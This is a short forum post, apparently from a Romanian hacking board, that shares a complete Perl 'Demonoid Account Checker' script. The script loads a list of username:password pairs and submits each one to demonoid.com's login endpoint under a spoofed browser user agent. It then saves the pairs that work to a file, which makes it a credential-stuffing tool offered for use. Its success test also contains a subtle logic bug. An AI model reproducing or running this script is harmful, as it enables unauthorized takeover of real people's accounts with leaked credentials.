[Perl] Demonoid Account Checker

HrN · Administrator Data inscrierii: 19/Ian/2009 Mesaje: 13

#!/usr/bin/perl
#Demonoid Checker
#dEm0n

use LWP::UserAgent;
my $url = 'http://www.demonoid.com/account_handler.php';
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)");
print "\n ---===Demonoid Checker===---\n\n";
print "[+] Enter Your User:Pass File List:";
my $source = <STDIN>;
open(FILE, $source) or die("wtf??Can't open it!\n");
my @accounts = <FILE>;
close(FILE);

foreach $account (@accounts)
{
$account =~ s/^\s+//;
$account =~ s/\s+$//;
unless($account =~ m/(.*?)\:(.*?)(\ |$)/g)
{
next;
}
my $user = $1;
my $pass = $2;
my $res = $ua->post( $url ,
{
'nickname' => $user,
'password' => $pass,
'Submit' => 'Submit'
});
if (!$res->content =~ m/Password error/gi) {
print $account . "\t-\tOK";
open(FILE, ">>demonoid-accounts.txt");
print FILE $account . "\n";
close(FILE);
} else {
print $account . "\t-\tFAILED";
next;
}
}
print "[+] DONE ~~\n";
my $end = <STDIN>;